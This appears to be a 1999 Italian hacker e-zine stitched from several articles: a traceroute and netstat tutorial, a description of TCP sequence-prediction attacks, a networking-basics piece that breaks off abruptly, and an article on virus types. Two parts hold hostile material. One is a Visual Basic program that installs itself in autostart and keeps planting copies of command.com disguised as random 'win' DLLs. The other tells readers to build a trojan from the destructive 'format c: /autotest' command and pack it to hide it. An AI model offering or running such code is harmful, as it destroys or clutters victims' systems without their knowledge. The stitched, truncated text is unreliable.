Come si puo' vedere, e' possibile specificare anche un numero massimo di tappe intermedie, una lista di macchine intermedie per cui si deve obbligatoriamente passare, e un tempo massimo di risposta. Da notare che i parametri accettati possono variare in funzione della versione del programma e del sistema operativo in cui ci troviamo. Proviamo per esempio a vedere che distanza ci separa da un server fra i piu' noti e richiesti, cioe' quello di VolFTP. Apriamo una shell (Prompt DOS se sotto Windows, bash, csh o qualunque altra se sotto Unix), e scriviamo: C:\WINDOWS>tracert volftp.tin.it Rilevazione instradamento verso cam.ca.tin.it [195.31.191.10] su un massimo di 30 punti di passaggio: 1 1787 ms 2211 2 2610 ms 1326 3 3098 ms 2099 4 1976 ms 3040 [151.99.9.181] 5 * * 6 * * 7 2555 ms 1736 8 * * 9 2221 ms 2606 10 * * 11 * * 12 * * ms ms ms ms ms ms 1721 1348 1729 2394 ms ms ms ms * * 3118 ms 3029 ms * * * 1753 ms pppsrv05.stm.it [195.62.32.50] world.stm.it [195.62.32.11] eth0-ibs-gw.stm.it [195.62.34.2] r-rm2-torreargentina.interbusiness.it Richiesta scaduta. Richiesta scaduta. r-mi5-rm5-atm.interbusiness.it [151.99.101.1] r-mi6-fa2.interbusiness.it [151.99.100.37] r-tin-mi6-atm.interbusiness.it [151.99.107.134] Richiesta scaduta. Richiesta scaduta. cam.ca.tin.it [195.31.191.10] Rilevazione completata. C:\WINDOWS> NOTA: Sotto Unix il comando non e' tracert ma traceroute. Come si puo' vedere dal messaggio introduttivo, il comando traceroute riesce a rintracciare un computer remoto se questo non e' separato dal nostro da piu' di trenta tappe intermedie (questi "punti di passaggio" in termine tecnico sono detti Hops o "salti"). Il messaggio introduttivo ci dice anche che volftp.tin.it si chiama in realta' cam.ca.tin.it e che il suo indirizzo IP e' 195.31.191.10. Di seguito il programma mostra il percorso completo che separa il computer da cui viene eseguito traceroute dal computer che si vuole tracciare. Il primo elemento della lista e' il POP a cui siamo collegati, nel caso di un collegamento tramite provider: l'esempio sopra si riferisce a un traceroute verso volftp.tin.it lanciato dal mio computer di casa (il mio provider e' Agora' Telematica). Il POP a cui ero collegato era pppsrv05.stm.it, e per arrivare da quest'ultima macchina a cam.ca.tin.it sono stati compiuti altri 11 passaggi. I numeri sulle tre colonne di sinistra indicano il tempo in millisecondi trascorso in attesa della risposta del server a cui la riga si riferisce, e l'asterisco significa che la risposta non e' arrivata entro il tempo massimo di attesa. Dal valore dei tempi di risposta si puo' intuire la bonta' del collegamento verso l'host destinazione: nell'esempio sopra riportato, lo stato del collegamento e' pessimo (addirittura tempi sopra i 3 secondi), e quindi si puo' supporre che, per esempio, un download da VolFTP in quel momento andrebbe assai lento. In alcuni casi nessuna delle tre risposte e' arrivata, per cui traceroute mostra il messaggio "Richiesta scaduta." invece del nome del server. In generale, piu' bassi sono i tempi delle tre colonne di sinistra e migliore e' la qualita' del collegamento verso la macchina destinazione. Qual e' l'utilita' di questo programma? Per esempio, se notiamo che il collegamento verso un sito web o ftp (o qualunque altro servizio) e' lento, possiamo usare traceroute per vedere il percorso seguito dai pacchetti, e in base all'output di traceroute e' possibile capire se il problema dipende dal nostro provider, dalla macchina destinazione, da una macchina intermedia o da un tratto di linea fisica che unisce due di queste. Oppure, se dobbiamo scaricare un file piuttosto pesante e conosciamo almeno 2 siti ftp che lo contengono, con traceroute possiamo stabilire da quale sito conviene effettuare il download. Netstat: chi c'e' in ascolto? L'ultimo programma di rete che esamineremo si chiama netstat, che ha i seguenti argomenti: C:\WINDOWS>netstat /? Visualizza statistiche su protocollo e connessioni di rete TCP/IP correnti. NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [intervallo] -a -e -n -p proto -r -s intervallo visualizzazione Visualizza tutte le connessioni e le porte di ascolto. Visualizza le statistiche Ethernet. L'opzione puo' essere associata all'opzione -s. Visualizza gli indirizzi e i numeri di porta in forma numerica. Visualizza connessioni del protocollo specificato da 'proto'; 'proto' puo' essere TCP o UDP. Se usato con l'opzione -s per le statistiche, 'proto' puo' essere TCP, UDP, o IP. Visualizza la tabella di routing. Visualizza le statistiche per protocollo. Per impostazione predefinita, le statistiche sono visualizzate per TCP, UDP e IP; l'opzione -p puo' essere utilizzata per specificare un sottoinsieme dell'impostazione predefinita. Rivisualizza le statistiche selezionate, interrompendo per un numero di secondi pari a "intervallo" tra ogni visualizzazione. Premere Control-C per fermare la delle statistiche. Se omesso, netstat stampera' le informazioni di configurazione correnti una sola volta. C:\WINDOWS> Il significato dei parametri opzionali e' ben spiegato nell'help in linea. Vediamo un primissimo esempio: C:\WINDOWS>netstat -na Connessioni attive Proto Indirizzo locale Indirizzo remoto Stato C:\WINDOWS> Questo e' quel che dovrebbe apparire eseguendo netstat su un computer senza servizi di rete installati e senza collegamenti attivi, cioe' nulla. Se invece, sotto tali condizioni, netstat mostra delle connessioni in ascolto, e' il caso di rivedere la configurazione del sistema e/o di cercare bene la presenza di programmi di amministrazione/intrusione remota, come i famigerati NetBus o Back Orifice. Vediamo ora alcune statistiche che e' possibile ottenere con netstat. C:\WINDOWS>netstat -na Connessioni attive Proto TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP Indirizzo locale 0.0.0.0:0 0.0.0.0:1026 0.0.0.0:1028 0.0.0.0:1035 0.0.0.0:1036 0.0.0.0:1037 0.0.0.0:1038 195.62.37.17:1026 195.62.37.17:1028 195.62.37.17:1035 195.62.37.17:1036 195.62.37.17:1037 195.62.37.17:1038 Indirizzo remoto 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 195.62.32.254:119 195.62.32.254:119 194.133.0.17:80 194.133.0.17:80 194.133.0.17:80 194.133.0.17:80 Stato LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING ESTABLISHED ESTABLISHED CLOSE_WAIT CLOSE_WAIT CLOSE_WAIT CLOSE_WAIT C:\WINDOWS> Qui ho chiesto a netstat di mostrare tutte le connessioni attive usando gli indirizzi numerici per la macchina locale e quella remota. Omettendo l'opzione "n" avremmo ottenuto i nomi alfanumerici sia per i computer che per le porte (i numeri dopo il ":"), cosa che avrebbe reso un po' piu' lunga l'esecuzione di netstat a causa delle necessarie richieste al DNS. Tralasciando le righe con indirizzi 0.0.0.0, il significato di questo output e' che nel momento in cui netstat e' stato eseguito c'erano in corso due connessioni al server di news (porta 119 remota), mentre erano in fase di chiusura 4 connessioni a un sito web (porta 80 remota). Se le righe di netstat usato con queste opzioni terminano con ESTABLISHED, denotano una connessione attiva, su cui stanno viaggiando dati; LISTENING indica un demone, detto anche server, che e' in attesa di connessioni su una determinata porta, mentre CLOSE_WAIT e TIME_WAIT indicano una connessione in via di chiusura, in diverse fasi del procedimento. Da notare che su un computer domestico, in condizioni normali, non dovrebbero esserci righe che terminano con LISTENING. Un'eccezione e' costituita da macchine su cui e' installato e in esecuzione il famigerato Personal Web Server (TM) di Microsoft, che permette di gestire un sito web "casalingo" e come tutti i server web si mette in ascolto sulla porta 80. Piu' grave e' il caso in cui "qualcosa" risulti in ascolto su porte oltre la 1023, in particolare su numeri molto alti (per esempio 31337 o 12345). In questi casi, occorre controllare che non ci siano intrusi nel sistema, soprattutto se non si ha ICQ, altro programma che ascolta su porte alte. Per quel che riguarda le porte, sia Windows che Unix hanno nella directory di sistema un file di nome "services" che contiene la mappatura dei servizi standard, come il web, la posta e le news (e molti altri), situati su porte <1024. C:\WINDOWS>netstat -es Statistiche interfaccia Ricevuti Byte Pacchetti unicast Pacchetti non-unicast Scarto Errori Protocolli sconosciuti Trasmessi 349919 881 10 0 0 23 56810 769 10 0 0 Statistiche IP Pacchetti ricevuti Errori di intestazione ricevuti Errori di indirizzo ricevuti Datagrammi inoltrati Protocolli sconosciuti ricevuti Pacchetti ricevuti scartati Pacchetti ricevuti consegnati Richieste di output Routing scartati Pacchetti di output scartati = = = = = = = = = = 882 0 5 0 0 0 882 774 0 0 Pacchetti output senza route Richieste di riassemblaggio Riassemblaggi riusciti Errori di riassemblaggio Datagrammi frammentati Errori frammentazione datagrammi Frammenti creati = = = = = = = 0 0 0 0 0 0 0 Statistiche ICMP Messaggi Errori Desti. irraggiungibile Tempo scaduto Problemi di parametro Quench sorgente Reindirizzamenti Echo Risposte echo Marcature orario Risposte marcatura orario Mask indirizzo Risposte mask indirizzo Ricevuti 23 0 0 0 0 0 0 8 12 0 0 0 0 Trasmessi 23 0 0 0 0 0 0 12 8 0 0 0 0 Statistiche TCP Aperture attive Aperture passive Tentativi connessione non riusciti Connessioni reimpostate Connessioni correnti Segmenti ricevuti Segmenti trasmessi Segmenti ritrasmessi = = = = = = = = 10 0 0 4 6 852 725 19 Statistiche UDP Datagrammi Ricevuti Nessuna porta Errori in ricezione Datagrammi trasmessi = = = = 5 15 0 5 C:\WINDOWS> Le opzioni "e" ed "s" forniscono delle statistiche riassuntive sulla connessione in generale, e le denominazioni dei vari valori sono abbastanza esplicative. Esaminando questo output si puo' capire la bonta' della nostra connessione e della nostra linea. C:\WINDOWS>netstat -r Tabella di Route Route attive: Indirizzo rete 0.0.0.0 127.0.0.0 195.62.38.0 195.62.38.6 195.62.38.255 224.0.0.0 255.255.255.255 Maschera Indirizzo gateway 0.0.0.0 195.62.38.6 255.0.0.0 127.0.0.1 255.255.255.0 195.62.38.6 255.255.255.255 127.0.0.1 255.255.255.255 195.62.38.6 224.0.0.0 195.62.38.6 255.255.255.255 195.62.38.6 Interfac. 195.62.38.6 127.0.0.1 195.62.38.6 127.0.0.1 195.62.38.6 195.62.38.6 195.62.38.6 Connessioni attive Proto TCP TCP Indirizzo locale bejor:1026 bejor:1028 Indirizzo remoto news.stm.it:nntp news.stm.it:nntp Stato ESTABLISHED ESTABLISHED Metric 1 1 1 1 1 1 1 C:\WINDOWS> Infine, l'ultimo output esaminato ci permette di avere una "mappa stradale" della rete nei dintorni del nostro computer. La seconda riga e' relativa all'indirizzo locale, mentre le successive danno indicazioni su come il nostro computer riesce ad andare in rete, cioe' su quale macchina funge da "cancello" (gateway) verso la rete. Conclusioni Questa piccola rassegna non pretende di esaurire l'argomento, per il quale occorrerebbe un'intera enciclopedia, ma e' un punto di partenza che la curiosita' personale puo' eventualmente approfondire. Segnalate pure errori o imprecisioni, il mio indirizzo web e' in fondo all'articolo. Per chi mastica l'inglese, una raccolta utile di documenti in cui vengono esposti i vari servizi della rete, fra cui quelli citati qui, e' costituita dalle RFC, file di testo che contengono i dettagli dei vari protocolli e i comandi che ognuno di essi accetta... scoprite per esempio come si puo' leggere la posta da un terminale carattere (come il Prompt MS-DOS) facendo telnet sulla porta 110. Ciaociao. :-))) e-mail: [email protected] home page di Security FAQ: http://members.xoom.com/gouldukat/ ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ DALLA PARTE DEI SYSADMIN ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Articolo redatto da Alpha-666 o Zeros 30/04/1999 12.36 AM Irc.tin.it #hackernow Parte nø1. Nonostante questo articolo sembri in contro tendenza con l'argomentazione generare proposta nell'e-zine, esso puo' dare una maggiore visione d'insieme sulle tecniche di attacco e difesa di un server. Per cominciare esistono differenti tipi di attacchi: 1) l'attacco a previsione della sequenza di numeri dei protocolli TCP/IP rappresenta la forma piu' semplice di attacco; 2) il dirottamento di sessioni TCP rappresenta la piu' grave minaccia per i sistemi sicuri; 3) lo "sniffing" dei pacchetti in passaggio nella rete in genere precede un dirottamento o uno "spoofing" 4) con lo sfoofing, l'hacher si sostituisce a un indirizzo IP per emulare un server fidato in una connessione di rete esistente; 5) gli attacchi passivi, che fanno uso di "sniffer", sono attualmente molto comuni in Internet; 6) molti attacchi si concentrano sulla violazione o sull'alterazione delle trasmissioni trasmissioni HTTP o delle connessioni TCP in corso; 7) attaccare installazioni di server SSL (Secure Socket Layer) gli attacchi possono utilizzare la tecnica hyperlink spoofing; 8) la tecnica del Web-spoofing offre agli hacker il modo di intercettare tutte le trasmissioni che un utente o un server si scambiano durante una serie di transazioni HTTP; Spiegazione: 1) Il tipo piu' semplice. Ogni computer della rete ha un proprio IP univoco, infatti ogni computer connesso ad una rete allega a ogni pacchetto trasmesso l'indirizzo IP di destinazione e un numero univoco chiamato numero di sequenza. All'interno di una connesione TCP; il computer ricevente accetta solo pacchetti con l'indirizzo IP e il numero di sequenza corretto. Inoltre molti dispositivi di sicurezza, inclusi i router, consentono trasmissioni in rete solo verso e da computer con determinati indirizzi IP. L'attacco a previsione del numero di sequenza TCP/IP utilizza il modo in cui le rete indirizzano i computer e creano la sequennza di pacchetti. In pratica l'hacker esegue l'attacco a previsione del numeri di sequenza TCP/IP in due fasi. Nella prima fase cerca di determinare l'indirizzo IP del server, generelmente mettendosi in ascolto dai pacchetti Internet, provando a specificare in ordine vari numeri di host oppure connettendosi al sito mediate browser Web e osservando l'indirizzo IP nella barra di stato. Poiche' l'hacker sa che gli altri computer della rete condividono una parte di indirizzo IP del server, cerchera' di simulare un indirizzo IP che gli consenta di by-passare il router e di accedere al sistema come fosse un utente interno. Ad esempio un sistema ha l'indirizzoo IP 192.0.0.17, sapendo che in una rete di Classe C vi possono essere fino a 256 computer, potra' carcare di indivinare gli indirizzi modificandone solamente l'ultimo byte. Naturalmente come tutti sanno gli indirizzi IP specificano quanti computer sono connessi alla rete. In questo caso la somma dei due bit piu' significativi (128+64=162) nel byte piu' elevato indica che la rete e' di classe C. Dopo che l'hacker avra' iniziato a trovare gli indirizzi della rete, iniziera' anche a controllare i numeri si sequenza dei pacchetti che si trasmettono tali computer. Dopo aver monitorizzato le trasmissioni della rete, l'hacker cerchera' di prevedere il prossimo numero di sequenza inserendosi fra il server e l'utente. Poiche' esso ha gia' l'indirizzo IP che gli consentono di intercettare le trasmissioni con l'utente. Quindi avuto l'accesso al sistema tramite tale attacco, puo' accedere alla info che il sistema di comunicazione trasmette al server, inclusi i file password, nomi di login, dati riservati, ecc. In genere si usa questo tipo di attacco come preparativo per l'attacco vero e proprio al server oppure come base per l'attacco di un'altro server della rete. Questo e' quello che ha fatto l'hacker ora vediamo come il sysadm si difenda da tale attacco. Infatti il modo piu' semplice ed efficace per difendersi da questo tipo di attacco consiste nell'assicurarsi che il router, i firewall e ogni server del sistema abbiano attivato la protezione audit-trail. Gli audit-trial sono programmi che permettono di visualizzare l'attivita' dell'hacker che tenta di attraversare il router e il firewall e quando tenta di accedere al server. L'audi-trai mosta una sequenza di questo tipo: Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Access Denied. IP address unknow Gli audit-trial e i successivi metodi di attacco verranno trattati nel successivo articolo. Alpha-666 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ L'ABC DELLE RETI ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ PREMESSA = io non so niente, non sono un hacker, non ho nulla da insegnare a chi ha iniziato + di un mese fa quindi non venitemi a dire che dico cose che sapete gia' xche' io vi avevo avvertito :PPP Allora e' chiaro che ci sono molti libri sull'argomento che andro' a trattare ma e' anke vero che dato che mi sto studiando queste cose, posso unire l'utile al dilettevole parlandovi di cio' che sto imparando ;) Allora la prima cosa che dobbiamo sapere se vogliamo farci una rete casalinga o nell'azienda in cui lavoriamo [ se ci chiedono di farla magari :))) ] e' il conoscere i mezzi + comuni utilizzati x trasmettere segnali da un pc a un altro e i modi secondo i quali si devono collegare i mezzi trasmissivi. ********************___---=== MEZZI TRASMISSIVI ===---____******************** I + comuni mezzi che possiamo trovare sono essenzialmente tre: - cavi di rame -----> [trasmissione di segnali elettrici] - fibre ottiche ----> [trasmissione della luce] - atmosfera --------> [trasmissione di luce e delle onde radio ultimamente molto trattate] Prima di tutto bisogna sapere che le trasmissioni possono essere effettuate in modo: - digitale - analogico Allora vediamo di analizzare queste due forme. ___---===TRASMISSIONE ANALOGICA===---____ Tale trasmissione e' costituita da un segnale che puo' variare in ampiezza [ cioe' a livello di energia ] e in frequenza [ cioe' il numero di volte che l'ampiezza cambia in un determinato intervallo di tempo ]. Da cio' si deduce che la trasmissione analogica in un dato intervallo di tempo potra' assumere un numero di valori infinito o quasi... Partendo da questo si deduce facilmente che anke piccole variazione [ di volume o tono ] possono dare un significato diverso [ e quindi errato ] ai nostri dati. Questo tipo di sistema di comunicazione quindi risulta essere da una parte efficace e vario poiche' ad ogni ciclo possiamo trasmettere informazioni aggiuntive, ma si sa che le cose non vanno sempre come dovrebbero e se ci fosse anke la minima perdita di dati tutto il msg / dato trasmesso / trasferito sarebbe illeggibile e quindi inutile. Questo problema della t. a. deriva principalmente dalla sensibilita' al rumore, la quale aggiunge o toglie dati imprevisti che rischiano insomma di mandare il tutto a puttane diciamo ;) Un esempio x comprendere cio' e' parlare con una persona in una stanza affollata, dove cio' che dice il ns interlocutore, se le voci sono tante, sara' o non capito o scambiato x un altra cosa. In entrambi i casi sarebbe spontaneo dire "Che cosa scusa?" e tra i pc cio' implica il rimandare tutti i dati dal primo all'ultimo, con, ovviamente, la perdita di tempo che magari avremmo dedicato a un altro trasferimento o ad un incontro non platonico con un altro essere umano del sesso opposto...hihihi Riporto qua sotto un paio di esempi di t.a. andata a buon fine e un esempio di segnale disturbato ESEMPIO DI TRASMISSIONE ANALOGICA ³ STESSO ESEMPIO DI TRASMISSIONE ANDATA A BUON FINE ³ ANALOGICA CON INTERFERENZE ^ ³ ^ | /-\ ³ | | | | ³ | /-\ | | | ³ | | | | | ³ /-\ / - \ | | /-\ | | ³ \ / \ / ÍÍÍÍ|ÍÍÍ|ÍÍÍ|ÍÍ|ÍÍÍ|ÍÍÍ|ÍÍÍÍÍÍÍÍÍÍͳÍÍÍ\ÍÍÍÍ|ÍÍÍ| e cosi' via | | \_/ | | ³ / / \_/ \_/ ³ | / ³ |/ Dato che so gia' che non avrete capito (causa mia capacita' di rendere difficile anke la peggior cazzata eheheh) cmq, cerchero' di spiegare come l'ho capito io. Pensate di dare un numero ad ogni tonalita' di voce. Cio' di certo permettera' di avere un sacco di numeri. Ma sara' anke vero che se noi (pc1) abbiamo un piccolo calo di voce il sistema che registra la nostra voce (pc2) avra 2 possibili conseguenze: o riconoscera' il tono come un altro (scambiera' i toni) oppure non riuscira' a riconoscerlo come tale e quindi pensera' di non aver sentito nessun tono. Spero di essere stato + chiaro con questo esempio xche' nella definizione di t.a. qualke beta tester delle e-zine mi aveva detto che avevo parlato un po' in arabo eheheheh ovviamente NON in base a mie esperienze ma in base a + fonti (libri, riviste, bliblioteca). ___---===TRASMISSIONE DIGITALE===---____ A differenza della trasmissione analogica [e FORSE proprio x risolvere i problemi derivanti dalla stessa] e' stato creato un altra forma di trasmissione detta analogica che comunica col sistema binario (ebbene si' i famosi 0 e 1!!!). In un circuito elettrico di solito lo zero e' rappresentato da una tensione nulla [zero volt] e l'uno e' rappresentato da una tensione di cinque volt. Si nota subito quindi che il sistema analogico ha un insieme infinito di possibili valori a differenza del sistema digitale che ha solo lo 0 e l'1, con i quali crea una serie di schemi precisi [es: A --> 01000001]. Ogni singolo impulso digitale e' detto bit, e 8 bit fanno un byte (ma dai!!!). Il byte risulta essere quindi la unita' base della trasmissione digitale e [in teoria] ogni byte rappresenta una info completa quale una lettera o un numero. Premesso che la distanza tra i due valori possibili e' ampia ne deriva che anke se il segnale e' disturbato si riuscira' cmq a distinguere se il valore e' 0 o 1 a differenza di prima dove ad ogni ampiezza corrispondeva un valore diverso. Alla fine di tutta sta botta de cultura quindi direte "cavolo ma allora xche' si usa l'analogica???" e la risposta sara' che se e' vero che con la trasmissione digitale siete sicuri e' anke vero che se dovete mandare la lettera A a un altro pc dovrete comunicare ben 8 bit [quindi otto segnali] mentre con la trasmissione analogica basterebbe comunicare un singolo valore corrispondete alla lettera A :) Un altro vantaggio del formato digitale e' che i dati trasferiti sono interpretati correttamente da entrambi i computer xche' gia' in forma binaria, mentre con la trasmissione analogica i dati prima di essere mandati devono essere convertiti da digitali a analogici e una volta arrivati viceversa (da a. a d.), x mezzo di un apposito dispositivo conosciuto ai piu' con il nome di... modem :-))) Ora diamo un'okkiata ai vari mezzi trasmissivi i quali sono principalmente: - il CAVO COASSIALE il DOPPINO TELEFONICO le FIBRE OTTICHE l'ETERE ___---===CAVO COASSIALE===---____ Il cavo coassiale e' ben protetto fisicamente data la sua guaina esterna molto resistente che impedisce il danneggiamento del cavo. E' costituito principalmente da un filo di rame avvolto da materiale dielettrico (cioe' isolante, cattivo conduttore di elettricita'), ricoperto da un cavo intrecciato protetto da uno strato di plastica. Si chiama coassiale xche' il cavo usa due conduttori (quello di rame e quello di protezione) che stanno sullo stesso asse. I connettori dei cavi coassiali sono chiamati connettori BNC (Bayonet Neill-Concelman). Sono facili da collegare e scollegare. Lo schema di una rete coassiale e' detto "topologia a dorsale / bus", poiche' un singolo cavo si estende da sistema a sistema, collegando le diverse macchine in successione,le quali si collegano a loro volta al circuito con un connettore BNC a forma di T. Tale connettore e' dotato di due accoppiatori dedicati alla connessione fisica del cavo e usa un 3ø accoppiatore x collegarsi alla scheda di rete (NIC = Network Interface Card) che ovviamente deve essere presente nel pc :P. I due capi del circuito terminano con un dispositivo detto terminatore, che devia a terra tutti i segnali elettrici assicurando che nessuno possa essere riflesso lungo il cavo. I terminatori possono essere di 2 tipi, normali o provvisti di una piccola catena metallica. Il secondo puo' essere usato a una sola delle estremita' del circuito. La catena metallica serve x picchiare chi vi sta sui cog...ops scusate credevo di essere nella sezione anarchy eheheh... cmq dicevamo che questa catena serve da messa a terra e assicura che la tensione del cavo intrecciato rimanga sempre a zero volt e le interferenze RFI (radiointerferenza che ha luogo quando due segnali incidenti hanno proprieta' simili) vengano scaricate. Vediamo (in breve) vantaggi e svantaggi dell'uso dei cavi coassiali nella propria rete di casa e / o azienda: VANTAGGI - resistenza alle interferenze (resiste a EMI e RFI) - protezione fisica (+ resistente dei doppini telefonici) - basso costo (nei negozi di elettronica poche centinaia di lire al metro) SVANTAGGI - topologia rigida (i cavi non sono flessibili come i doppini) - scalabilita' limitata (se si aggiunge una macchina bisogna bloccare la rete) - bassa tolleranza agli errori (un guasto puo' bloccare l'intero segmento) - scarsa larghezza di banda (supp. tecnologia Ethernet a 10Mbps; no 100Mbps) FileCopy "nomedatoaquestoprogramma.exe","c:\windows\menu avvio\programmi\esecuzione automatica\nomedatoaquestoprogramma.exe" A COSA CI E' SERVITO TUTTO CIO'? Abbiamo copiato il programma in esecuzione automatica... (non l'avreste sospettato eh?) Adesso aprite un timer, settate il valore "interval" su 1 e scrivete: Private Sub Timer1_Timer() Randomize Timer Dim dove dove = Int(Rnd * 3 + 1) a = "c:\command.com" c = "win" & Int((Rnd * 999999999) + 1) If dove = 1 Then d = "c:\" If dove = 2 Then d = "c:\windows\" If dove = 3 Then d = "c:\windows\system\" e = d & c & ".dll" FileCopy a, e End Sub Fine del secondo programmino stupido. A COSA SERVE? (o meglio, cosa fa?) E' facile...una volta avviato il programma prende il file command.com (ma potete scegliere quello che volete) e inizia a copiarlo a caso in una delle directory sopra scritte (potete scegliere altre cartelle, potete sceglierne di piu', basta cambiare i valori. Potete anche fare scegliere a l programma ogni volta una directory a caso nell'HD, ma vi spieghero' un'altra volta come si fa) con un altro nome e l'estensione dll. (Non si sa mai...un lamer magari ha paura di cancellare una dll il cui nome inizia con "win") Il programma si nota poco (tranne per la lentezza che portera' alla macchina) e si avviera' ad ogni riavvio del computer. COSA ABBIAMO IMPARATO? Abbiamo ripassato come disabilitare gli hot-keys e abbiamo imprato (per chi non sapeva gia' farlo) a copiare un file e a creare un numero a caso (se non sapevate gia' fare questa cosa........andatevene!) CONCLUSIONE: Ok, io ho finito. Spero che N0bodY88 non si offenda per la magrezza dell'articolo, ma faro' di meglio in futuro (quando magari faro' un articolo sul batch) Spero (ma non credo assolutamente) di esservi stato d'aiuto nel vostro apprendimento del VisualBasc e vi saluto. CIOBA! ~ÑaBat½ha. ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ TIPI DI VIRUS ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Salve a tutti, sono sempre Quequero ed ora vi parlero' dei virus. Sicuramente tutti conoscerete i virus, ma sicuramente pochi di voi ne conoscono effettivamente il modo do agire oppure la struttura ed e' proprio questo che mi accingo ad insegnarvi. Esistono essenzialmente tre famiglie di virus che poi si dividono in tanti altri sottogruppi, esaminiamo prima le grandi famiglie: Worms Trojan Virus Iniziero' col parlarvi dei Worms e poi mi addentrero' nella descrizione dei virus veri e propri dal momento che richiede piu' tempo ed e' una faccenda un po' piu' complessa. Worms Il primo Worm fu creato intorno agli anni '80 da Robert Morris, un giovane che ebbe la brillante idea di creare un virus non dannoso, ma che si riproduceva via Internet, ebbene si, usava un bug indovinate di quale programma? Ovviamente del Sendmail, molti computer andarono in tilt per l'immane riproduzione del verme, in pratica a quel tempo tutti avevano almeno 10-12 vermi in casa, anche i non pescatori ;)))) Su Internet si puo' trovare facilmente il codice sorgente del vermone, ho sentito dire che e' stato inserito un errore nel codice per non farlo compilare, se e' vero non lo so. Tutt'oggi non esistono vermi noti poiche' con le nuove versioni del sendmail sono stati corretti i bug che ne permettevano la proliferazione, oggi questo ignobile programma e' perfetto quasi al 100% l'unico problema (di importanza praticamente nulla) e' che possiamo ottenere il "root" su un sistema di rete semplicemente mandando una mail ;))) Si sa che questi programmatori tolgono un bug e ne creano 20, bho!!! Anche se non ve ne freghera' assolutamente nulla, vi dico che ho uno zio Italiano ma che vive in Finlandia che contribuisce tuttora allo sviluppo di Linux e del software ad essi necessario, quindi guai a parlar male dei loro prodotti ;))) Dicevamo che vermi noti non ce ne sono, pero' con l'avvento di Linux credo che questo fenomeno crescera'. Trojan I trojan, o meglio Trojan Horse (cavalli di Troia) sono stati (a quanto ne so') la prima forma di virus esistente, dovrebbero essere stati creati la prima volta in Russia da un team di programmatori, i trojan sono dei programmi che non hanno alcuna intenzione di duplicarsi ma servono solo a fare danni in un computer, anche le bombe logiche sono dei trojan, solo che si attivano in un determinato periodo. Un ottimo esempio di trojan e' il NetBus o il Back Orifice, ma anche noi possiamo creare un trojan facendo un file batch, scrivendoci dentro: format c: /autotest e convertendolo con il Bat2Com. Se poi lo vogliamo rendere invisibile bastera' criptarlo a compattarlo (petite.exe, pklite.exe ecc..). Il nome cavallo di Troia e' dato dal fatto che vengono spesso diffusi come altri programmi. Viruzzzz I virus si differiscono dai Trojan per il fatto che tendono a restare nascosti ed a riprodursi il piu' possibile. In genere un virus e' scritto in Assembly, il codice usato e' molto compatto e veloce, a questo proposito vi riporto un breve "saggio" nel quale si cerca di distinguere Winzoz da un Viruzzz (l'ho trovato in rete non so' dove): Windows e' un virus ??? Nooo Win non e' un virus. Questo e' cio' che fanno i virus...: Si replicano velocemente.. O.K. Win fa' questo come i Virus..... Il virus usa tutte le risorse di sistema, rallentando il sistema come ultimo. Percio' O.k. Win fa cio'. Un virus di tanto in tanto riduce in spazzatura il tuo HD, O.K. anche Win lo fa. I virus sono di norma portati all'insaputa dell'utente in tutti i programmi principali..... Sigh!!! Anche Win lo fa. Un virus fa venire il sospetto di esserci poiche' il sistema diventa troppo lento... e fa venire la voglia di comperare nuovo Hardware. Oddio vale anche per Win. Sino ad ora tutto fa sembrare che Win sia un virus.... ma ci sono alcune differenze fondamentali: I virus sono ben supportati dall'autore, Funzionano su ogni tipo di sistema... il loro codice programma e' estremamente veloce, compatto ed efficiente, e 